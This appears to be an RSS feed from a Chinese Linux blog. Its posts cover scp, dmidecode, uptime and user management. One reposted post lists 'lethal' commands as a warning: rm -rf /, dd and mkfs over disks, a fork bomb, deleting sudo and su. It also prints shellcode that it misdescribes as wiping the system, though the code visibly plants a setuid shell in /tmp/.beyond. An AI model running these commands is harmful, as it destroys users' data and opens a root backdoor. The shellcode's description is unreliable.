<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PT Ubuntu Blog &#187; linux命令</title>
	<atom:link href="http://www.ptubuntu.com/tag/linux%e5%91%bd%e4%bb%a4/feed" rel="self" type="application/rss+xml" />
	<link>http://www.ptubuntu.com</link>
	<description>Ruijin to linux 生活中的每一点点滴滴……</description>
	<lastBuildDate>Mon, 30 Jan 2012 09:17:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>linux下文件互考scp</title>
		<link>http://www.ptubuntu.com/2010/12/4005.html</link>
		<comments>http://www.ptubuntu.com/2010/12/4005.html#comments</comments>
		<pubDate>Fri, 24 Dec 2010 01:45:03 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[网络软件]]></category>
		<category><![CDATA[linux命令]]></category>
		<category><![CDATA[scp]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=4005</guid>
		<description><![CDATA[早上来了看看vv15.com写着前scp的内容.因为自己偶尔也会用到.所以就在自己的机器上测试了一下.结果不错.下面先是我测试的结果.在传转的过程中要你输入密码才可以进行. １.把服务器上的/home/ptubuntu/vsftpd.config 复制到本地/home/ptubuntu　文件下 ２.把本地/home/ptubuntu/tt.txt 复制到服务器上/home/ptubuntu　文件下 &#160; 3.不同的服务器的端口不同如何使用传输. root@ptubuntu:/home/ptubuntu# scp -P 822 ptubuntu@192.168.0.1:/home/ptubuntu/iptables.firewall /home/ptubuntu/ ptubuntu@192.168.0.1&#39;s password:&#160; iptables.firewall &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; 100% &#160; 14KB &#160;13.7KB/s &#160; 00:00 最简单的应用实例 　　最简单的应用如下 : &#160; 　　scp 本地用户名@IP地址:文件名 1 远程用户名 @IP 地址 : 文件名 2 &#160; 　　[ 本地用户名 @IP 地址:] 可以不输入 [...]]]></description>
			<content:encoded><![CDATA[<p>早上来了看看<a href="http://vv15.com/2010/12/linux-scp/">vv15.com</a>写着前scp的内容.因为自己偶尔也会用到.所以就在自己的机器上测试了一下.结果不错.下面先是我测试的结果.在传转的过程中要你输入密码才可以进行.</p>
<p><img alt="" height="368" src="http://www.ptubuntu.com/wp-content/uploads/scp.jpeg" width="500" /></p>
<p>１.把服务器上的/home/ptubuntu/vsftpd.config 复制到本地/home/ptubuntu　文件下</p>
<p>２.把本地/home/ptubuntu/tt.txt 复制到服务器上/home/ptubuntu　文件下</p>
<p>&nbsp;</p>
<p>3.不同的服务器的端口不同如何使用传输.</p>
<blockquote><p>root@ptubuntu:/home/ptubuntu# <a href="http://www.ptubuntu.com/tag/scp" class="st_tag internal_tag" rel="tag" title="标签 scp 下的日志">scp</a> -P 822 ptubuntu@192.168.0.1:/home/ptubuntu/iptables.firewall /home/ptubuntu/</p>
</blockquote>
<blockquote><p>ptubuntu@192.168.0.1&#39;s password:&nbsp;</p>
<p>iptables.firewall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 100% &nbsp; 14KB &nbsp;13.7KB/s &nbsp; 00:00</p>
</blockquote>
<p><span id="more-4005"></span></p>
<p><meta content="text/html; charset=utf-8" http-equiv="content-type" /></p>
<h3 class="headline-2 bk-sidecatalog-title" style="margin-top: 15px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 16px; font-family: Arial; line-height: 22px; "><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; "><span class="headline-content">最简单的应用实例</span></span></h3>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　最简单的应用如下 :</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　scp 本地用户名@IP地址:文件名 1 远程用户名 @IP 地址 : 文件名 2</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　[ 本地用户名 @IP 地址:] 可以不输入 , 可能需要输入远程用户名所对应的密码 .</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　可能有用的几个参数 :</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　-v 和大多数 <a href="http://www.ptubuntu.com/tag/linx" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">linux</a> 命令中的 -v 意思一样 , 用来显示进度 . 可以用来查看连接 , 认证 , 或是配置错误 .</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　-C 使能压缩选项 .</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　-P 选择端口 . 注意 -p 已经被 rcp 使用 .</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　-4 强行使用 IPV4 地址 .</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　-6 强行使用 IPV6 地址 .</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　-r Recursively copy entire directories.</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　如&mdash;&mdash;</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　copy 本地的档案到远程的机器上</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　scp /etc/lilo.conf my@www.ptubuntu.com:/home/ptubuntu</span></p>
<div class="spctrl" style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; ">&nbsp;</div>
<p><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: arial, 宋体, sans-serif; font-size: 14px; line-height: 24px; ">　　会将本地的 /etc/lilo.conf 这个档案 copy 到&nbsp;<meta content="text/html; charset=utf-8" http-equiv="content-type" />www.ptubuntu.com，使用者ptubuntu 的家目录下。</span></p>
<p>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p>
<p><meta content="text/html; charset=utf-8" http-equiv="content-type" /></p>
<p><meta content="text/html; charset=utf-8" http-equiv="content-type" /></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2010%2F12%2F4005.html&amp;title=linux%E4%B8%8B%E6%96%87%E4%BB%B6%E4%BA%92%E8%80%83scp" id="wpa2a_2"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2010/12/4005.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Linux 硬件信息查看 dmidecode</title>
		<link>http://www.ptubuntu.com/2010/03/3416.html</link>
		<comments>http://www.ptubuntu.com/2010/03/3416.html#comments</comments>
		<pubDate>Tue, 23 Mar 2010 08:04:25 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux命令]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=3416</guid>
		<description><![CDATA[Dmidecode 这个大家可能还不是很清楚.所以网上找了一些也只是一些小小的.并不全面.在这里给大家指出来一个比较全面的分析.当然下面这些并不是本人写的.只是借用selboo.com.cn 的内容来显示一下. dmidecode以一种可读的方式dump出机器的DMI(Desktop Management Interface)信息。这些信息包括了硬件以及BIOS，既可以得到当前的配置，也可以得到系统支持的最大配置，比如说支持的最大内存数等。 DMI有人也叫SMBIOS(System Management BIOS)，这两个标准都由DMTF(Desktop Management Task Force)开发。 dmidecode的输出格式一般如下： &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Handle 0&#215;0002 DMI type 2, 8 bytes Base Board Information Manufacturer:Intel Product Name: C440GX+ Version: 727281-0001 Serial Number: INCY92700942 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- 其中的前三行都称为记录头(recoce Header), 其中包括了： 1、recode id(handle): DMI表中的记录标识符，这是唯一的,比如上例中的Handle 0&#215;0002。 2、dmi type id: 记录的类型，譬如说:BIOS，Memory，上例是type 2，即”Base Board Information” 3、recode size: DMI表中对应记录的大小，上例为8 bytes.（不包括文本信息，所有实际输出的内容比这个size要更大。） 记录头之后就是记录的值： 4、decoded values: [...]]]></description>
			<content:encoded><![CDATA[<p>Dmidecode 这个大家可能还不是很清楚.所以网上找了一些也只是一些小小的.并不全面.在这里给大家指出来一个比较全面的分析.当然下面这些并不是本人写的.只是借用<a href="http://selboo.com.cn/post/703/">selboo.com.cn</a> 的内容来显示一下.<br />
dmidecode以一种可读的方式dump出机器的DMI(Desktop Management Interface)信息。这些信息包括了硬件以及BIOS，既可以得到当前的配置，也可以得到系统支持的最大配置，比如说支持的最大内存数等。</p>
<p>DMI有人也叫SMBIOS(System Management BIOS)，这两个标准都由DMTF(Desktop Management Task Force)开发。</p>
<p>dmidecode的输出格式一般如下：<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Handle 0&#215;0002<br />
DMI type 2, 8 bytes<br />
Base Board Information<br />
Manufacturer:Intel<br />
Product Name: C440GX+<br />
Version: 727281-0001<br />
Serial Number: INCY92700942<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
其中的前三行都称为记录头(recoce Header), 其中包括了：<br />
1、recode id(handle): DMI表中的记录标识符，这是唯一的,比如上例中的Handle 0&#215;0002。<br />
2、dmi type id: 记录的类型，譬如说:BIOS，Memory，上例是type 2，即”Base Board Information”<br />
3、recode size: DMI表中对应记录的大小，上例为8 bytes.（不包括文本信息，所有实际输出的内容比这个size要更大。）<br />
记录头之后就是记录的值：<br />
4、decoded values: 记录值可以是多行的，比如上例显示了主板的制造商(manufacturer)、model、version以及serial Number。</p>
<p>dmidecode的使用方法</p>
<p>1. 最简单的的显示全部dmi信息：<br />
# dmidecode<br />
这样将输出所有的dmi信息，你可能会被一大堆的信息吓坏，通常可以使用下面的方法。</p>
<p><span id="more-3416"></span></p>
<p>2.更精简的信息显示：<br />
# dmidecode -q<br />
-q(&#8211;quite) 只显示必要的信息，这个很管用哦。</p>
<p>3.显示指定类型的信息：<br />
通常我只想查看某类型，比如CPU，内存或者磁盘的信息而不是全部的。这可以使用-t(&#8211;type TYPE)来指定信息类型：<br />
# dmidecode -t bios<br />
# dmidecode -t bios, processor (这种方式好像不可以用，必须用下面的数字的方式)<br />
# dmidecode -t 0,4  (显示bios和processor)</p>
<p>dmidecode到底支持哪些type?<br />
这些可以在man dmidecode里面看到：<br />
文本参数支持：<br />
bios, system, baseboard, chassis, processor, memory, cache, connector, slot<br />
数字参数支持很多：（见附录）</p>
<p>4.通过关键字查看信息：<br />
比如只想查看序列号，可以使用:<br />
# dmidecode -s system-serial-number<br />
-s (&#8211;string keyword)支持的keyword包括：<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
bios-vendor,bios-version, bios-release-date,<br />
system-manufacturer, system-product-name, system-version, system-serial-number,<br />
baseboard-manu-facturer,baseboard-product-name,  baseboard-version, baseboard-serial-number, baseboard-asset-tag,<br />
chassis-manufacturer, chas-sis-version, chassis-serial-number, chassis-asset-tag,<br />
processor-manufacturer, processor-version.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>5.示例<br />
5.1 查看当前内存和支持的最大内存<br />
Linux下，可以使用free或者查看meminfo来获得当前的物理内存：<br />
# free<br />
total       used       free     shared    buffers     cached<br />
Mem:       8182532    8010792     171740          0     148472    4737896<br />
-/+ buffers/cache:    3124424    5058108<br />
Swap:      4192956       3304    4189652<br />
# grep MemTotal /proc/meminfo<br />
MemTotal:      8182532 kB<br />
这里显示了当前服务器的物理内存是8GB。</p>
<p>服务器到底能扩展到多大的内存？</p>
<p>#dmidecode -t 16<br />
# dmidecode 2.7<br />
SMBIOS 2.4 present.</p>
<p>Handle 0&#215;0013, DMI type 16, 15 bytes.<br />
Physical Memory Array<br />
Location: System Board Or Motherboard<br />
Use: System Memory<br />
Error Correction Type: Multi-bit ECC<br />
Maximum Capacity: 64 GB     （可扩展到64GB）<br />
Error Information Handle: Not Provided<br />
Number Of Devices: 4</p>
<p>但是，事实不一定如此，因此插槽可能已经插满了。也就是我们还必须查清这里的8G到底是4*2GB, 2*4GB还是其他？<br />
如果是4*2GB，那么尽管可以扩展到64GB，但是插槽已经插满，无法扩展了：<br />
#dmidecode -t 17<br />
# dmidecode 2.7<br />
SMBIOS 2.4 present.</p>
<p>Handle 0&#215;0015, DMI type 17, 27 bytes.<br />
Memory Device<br />
Array Handle: 0&#215;0013<br />
Error Information Handle: Not Provided<br />
Total Width: 72 bits<br />
Data Width: 64 bits<br />
Size: 2048 MB 【插槽1有1条2GB内存】<br />
Form Factor: DIMM<br />
Set: None<br />
Locator: DIMM00<br />
Bank Locator: BANK<br />
Type: Other<br />
Type Detail: Other<br />
Speed: 667 MHz (1.5 ns)<br />
Manufacturer:<br />
Serial Number: BZACSKZ001<br />
Asset Tag: RAM82<br />
Part Number: MT9HTF6472FY-53EA2</p>
<p>Handle 0&#215;0017, DMI type 17, 27 bytes.<br />
Memory Device<br />
Array Handle: 0&#215;0013<br />
Error Information Handle: Not Provided<br />
Total Width: 72 bits<br />
Data Width: 64 bits<br />
Size: 2048 MB 【插槽2有1条2GB内存】<br />
Form Factor: DIMM<br />
Set: None<br />
Locator: DIMM10<br />
Bank Locator: BANK<br />
Type: Other<br />
Type Detail: Other<br />
Speed: 667 MHz (1.5 ns)<br />
Manufacturer:<br />
Serial Number: BZACSKZ001<br />
Asset Tag: RAM83<br />
Part Number: MT9HTF6472FY-53EA2</p>
<p>Handle 0&#215;0019, DMI type 17, 27 bytes.<br />
Memory Device<br />
Array Handle: 0&#215;0013<br />
Error Information Handle: Not Provided<br />
Total Width: 72 bits<br />
Data Width: 64 bits<br />
Size: 2048 MB 【插槽3有1条2GB内存】<br />
Form Factor: DIMM<br />
Set: None<br />
Locator: DIMM20<br />
Bank Locator: BANK<br />
Type: Other<br />
Type Detail: Other<br />
Speed: 667 MHz (1.5 ns)<br />
Manufacturer:<br />
Serial Number: BZACSKZ001<br />
Asset Tag: RAM84<br />
Part Number: MT9HTF6472FY-53EA2</p>
<p>Handle 0x001B, DMI type 17, 27 bytes.<br />
Memory Device<br />
Array Handle: 0&#215;0013<br />
Error Information Handle: Not Provided<br />
Total Width: 72 bits<br />
Data Width: 64 bits<br />
Size: 2048 MB 【插槽4有1条2GB内存】<br />
Form Factor: DIMM<br />
Set: None<br />
Locator: DIMM30<br />
Bank Locator: BANK<br />
Type: Other<br />
Type Detail: Other<br />
Speed: 667 MHz (1.5 ns)<br />
Manufacturer:<br />
Serial Number: BZACSKZ001<br />
Asset Tag: RAM85<br />
Part Number: MT9HTF6472FY-53EA2</p>
<p>根据上面输出可以发现，如果要扩展，只有将上面的内存条换成16GB的，才能达到4*16GB=64GB的最大支持内存。</p>
<p>附录：<br />
dmidecode支持的数字参数：<br />
Type   Information<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0   BIOS<br />
1   System<br />
2   Base Board<br />
3   Chassis<br />
4   Processor<br />
5   Memory Controller<br />
6   Memory Module<br />
7   Cache<br />
8   Port Connector<br />
9   System Slots<br />
10   On Board Devices<br />
11   OEM Strings<br />
12   System Configuration Options<br />
13   BIOS Language<br />
14   Group Associations<br />
15   System Event Log<br />
16   Physical Memory Array<br />
17   Memory Device<br />
18   32-bit Memory Error<br />
19   Memory Array Mapped Address<br />
20   Memory Device Mapped Address<br />
21   Built-in Pointing Device<br />
22   Portable Battery<br />
23   System Reset<br />
24   Hardware Security<br />
25   System Power Controls<br />
26   Voltage Probe<br />
27   Cooling Device<br />
28   Temperature Probe<br />
29   Electrical Current Probe<br />
30   Out-of-band Remote Access<br />
31   Boot Integrity Services<br />
32   System Boot<br />
33   64-bit Memory Error<br />
34   Management Device<br />
35   Management Device Component<br />
36   Management Device Threshold Data<br />
37   Memory Channel<br />
38   IPMI Device<br />
39   Power Supply</p>
<p>来自:<a href="http://selboo.com.cn/post/703/">http://selboo.com.cn/post/703/</a></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2010%2F03%2F3416.html&amp;title=Linux%20%E7%A1%AC%E4%BB%B6%E4%BF%A1%E6%81%AF%E6%9F%A5%E7%9C%8B%20dmidecode" id="wpa2a_4"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2010/03/3416.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux下如何查看系统启动时间和运行时间</title>
		<link>http://www.ptubuntu.com/2010/01/3352.html</link>
		<comments>http://www.ptubuntu.com/2010/01/3352.html#comments</comments>
		<pubDate>Fri, 15 Jan 2010 16:39:30 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux命令]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=3352</guid>
		<description><![CDATA[1.uptime命令 输出:16:11:40 up 59 days, 4:21, 2 users, load average: 0.00, 0.01, 0.00 2.查看/proc/uptime文件计算系统启动时间 cat /proc/uptime 输出: 5113396.94 575949.85 第一数字即是系统已运行的时间5113396.94 秒，运用系统工具date即可算出系统启动时间 代码: 全选 date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S" 输出: 2008-11-09 11:50:31 3.查看/proc/uptime文件计算系统运行时间 代码: 全选 cat /proc/uptime&#124; awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行：%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}' 输出:系统已运行：59天4时13分9秒  不用命令，该从那个文件里查看系统启动时间呢 [...]]]></description>
			<content:encoded><![CDATA[<p>1.uptime命令<br />
输出:16:11:40 up 59 days, 4:21, 2 users, load average: 0.00, 0.01, 0.00</p>
<p>2.查看/proc/uptime文件计算系统启动时间<br />
cat /proc/uptime<br />
输出: 5113396.94 575949.85<br />
第一数字即是系统已运行的时间5113396.94 秒，运用系统工具date即可算出系统启动时间</p>
<dl>
<dt>代码: <a href="http://bbs.freesinno.com/viewtopic.php?t=66#">全选</a> </dt>
<dd><code><span style="font-family: NSimsun;">date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S"</span></code></dd>
</dl>
<p>输出: 2008-11-09 11:50:31</p>
<p>3.查看/proc/uptime文件计算系统运行时间</p>
<dl>
<dt>代码: <a href="http://bbs.freesinno.com/viewtopic.php?t=66#">全选</a> </dt>
<dd><code><span style="font-family: NSimsun;">cat /proc/uptime| awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行：%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'</span></code></dd>
</dl>
<p>输出:系统已运行：59天4时13分9秒</p>
<p> 不用命令，该从那个文件里查看系统启动时间呢</p>
<p>转自：<a href="http://bbs.freesinno.com/viewtopic.php?t=66">http://bbs.freesinno.com/viewtopic.php?t=66</a></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2010%2F01%2F3352.html&amp;title=Linux%E4%B8%8B%E5%A6%82%E4%BD%95%E6%9F%A5%E7%9C%8B%E7%B3%BB%E7%BB%9F%E5%90%AF%E5%8A%A8%E6%97%B6%E9%97%B4%E5%92%8C%E8%BF%90%E8%A1%8C%E6%97%B6%E9%97%B4" id="wpa2a_6"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2010/01/3352.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>13 Linux的致命命令</title>
		<link>http://www.ptubuntu.com/2009/12/3288.html</link>
		<comments>http://www.ptubuntu.com/2009/12/3288.html#comments</comments>
		<pubDate>Fri, 04 Dec 2009 02:32:57 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux命令]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=3288</guid>
		<description><![CDATA[1. 这些命令将清除你的主目录，根或只是将整个磁盘清理: sudo rm -rf / rm -rf .* dd if=/dev/zero of=/dev/sda mkfs.ext3 /dev/hda whatever &#62; /dev/hda cd ~; for x in `ls`; do mv -f $x $y; y=$x; done find -type f -mtime +30 -exec mv {} /dev/null \; mv ~ /dev/null mv / /dev/null 2. Causes kernel panic or freezes Linux box: dd [...]]]></description>
			<content:encoded><![CDATA[<p>1. 这些命令将清除你的主目录，根或只是将整个磁盘清理:</p>
<ul>
<li><strong>sudo rm -rf /</strong></li>
<li><strong>rm -rf .* </strong></li>
<li><strong>dd if=/dev/zero of=/dev/sda</strong></li>
<li><strong>mkfs.ext3 /dev/hda</strong></li>
<li><strong>whatever &gt; /dev/hda</strong></li>
<li><strong>cd ~; for x in `ls`; do mv -f $x $y; y=$x; done </strong></li>
<li><strong>find -type f -mtime +30 -exec mv {} /dev/null \;</strong></li>
<li><strong>mv ~ /dev/null</strong></li>
<li><strong>mv / /dev/null</strong></li>
</ul>
<p><span id="more-3288"></span>2. Causes kernel panic or freezes <a href="http://www.ptubuntu.com/tag/linx" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a> box:</p>
<ul>
<li><strong>dd if=/dev/random of=/dev/port</strong></li>
<li><strong> <img src='http://www.ptubuntu.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</strong> #also known as <a href="http://en.wikipedia.org/wiki/Fork_bomb">fork bomb</a></li>
</ul>
<p>3. This one does the same as “rm -rf /”:</p>
<p><strong>char esp[] __attribute__ ((section(”.text”))) /* e.s.p<br />
release */<br />
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″<br />
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″<br />
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″<br />
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″<br />
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″<br />
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″<br />
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″<br />
“cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;”;</strong></p>
<p>4. This one will prevent you from executing commands with root rights:</p>
<p><strong>rm -f /usr/bin/sudo;rm -f /bin/su</strong></p>
<p>If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.</p>
<div id="TixyyLink" style="border: medium none ; overflow: hidden; color: #000000; background-color: transparent; text-align: left; text-decoration: none;">
Read more:  <a href="http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+linuxscrew+%28Linux+Screw%29&amp;utm_content=Google+Reader#ixzz0YgQeYsRw">http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+linuxscrew+%28Linux+Screw%29&amp;utm_content=Google+Reader#ixzz0YgQeYsRw</a></div>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2009%2F12%2F3288.html&amp;title=13%20Linux%E7%9A%84%E8%87%B4%E5%91%BD%E5%91%BD%E4%BB%A4" id="wpa2a_8"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2009/12/3288.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux 基本用户管理</title>
		<link>http://www.ptubuntu.com/2009/11/3272.html</link>
		<comments>http://www.ptubuntu.com/2009/11/3272.html#comments</comments>
		<pubDate>Fri, 20 Nov 2009 04:30:41 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[技术类]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux命令]]></category>
		<category><![CDATA[命令]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=3272</guid>
		<description><![CDATA[下面这段介绍的比较简单也是一些常用的用户管理.如果你还不清楚的话那就接着下面看吧.因为都是英文的.我也就不想去译了.因为不用看提示你也知道这些命令是干吗用的.只是有时候自己给忘记了.所以在这里给自己做一个笔记.下面命令用绿色标 A comprehensive guide for basic user management of a linux box: Create Users Creating a user is rather simple. While logged in as root, type: useradd username Where “username” is the name of the user you want to add. There are a couple options to this command as well. -s allows you to specify [...]]]></description>
